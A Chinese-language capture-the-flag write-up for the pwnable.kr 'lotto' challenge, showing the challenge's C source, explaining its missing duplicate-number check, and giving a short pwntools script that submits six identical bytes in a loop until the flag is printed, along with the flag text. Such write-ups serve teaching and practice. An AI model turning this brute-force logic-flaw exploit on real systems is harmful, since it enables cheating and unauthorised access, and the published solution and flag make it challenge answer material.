pwnable.kr-lotto 又是一个很有趣的逻辑漏洞分析。

题目分析

根据所给信息

Mommy! I made a lotto program for my homework. do you want to play?

ssh lotto@pwnable.kr -p2222 (pw:guest)

我也是搜了一下 lotto 是什么意思，大概好像是彩票的意思，它给了C源码和二进制文件，先来看看源码吧：

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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
    
    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!\n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45
    }
    close(fd);
    
    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }

}

void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

    // menu
    unsigned int menu;

    while(1){

        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");

        scanf("%d", &menu);

        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}

就是随机生成了六个数，然后让你填六个数，如果都有那就正确，乍一看逻辑是没有问题的，但是仔细想想，它没有限制我的输入，也就是说，如果我是六个一模一样的数，那么概率就从一个很大的组合数变成了 45 的概率，那么我们就很容易写出脚本了。

题解

就是选择六个一模一样的数，只要有一个碰到了，那我就算中奖了，直接拿flag，但是 home 目录是不可写的，我们可以先在 /tmp 目录新建一个文件夹 cd 进去，把脚本传入，但是需要注意，把 flag 链接到同目录下才可以成功获取。

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from pwn import *
context.log_level='debug'
p=process('./lotto')

def play():
    p.sendlineafter('3. Exit','1')
    p.sendlineafter(':','\x06\x06\x06\x06\x06\x06')
    p.recvuntil('bad luck...')

for i in range(100):
    play()
p.interactive()

结果：

flag:sorry mom... I FORGOT to check duplicate numbers... :(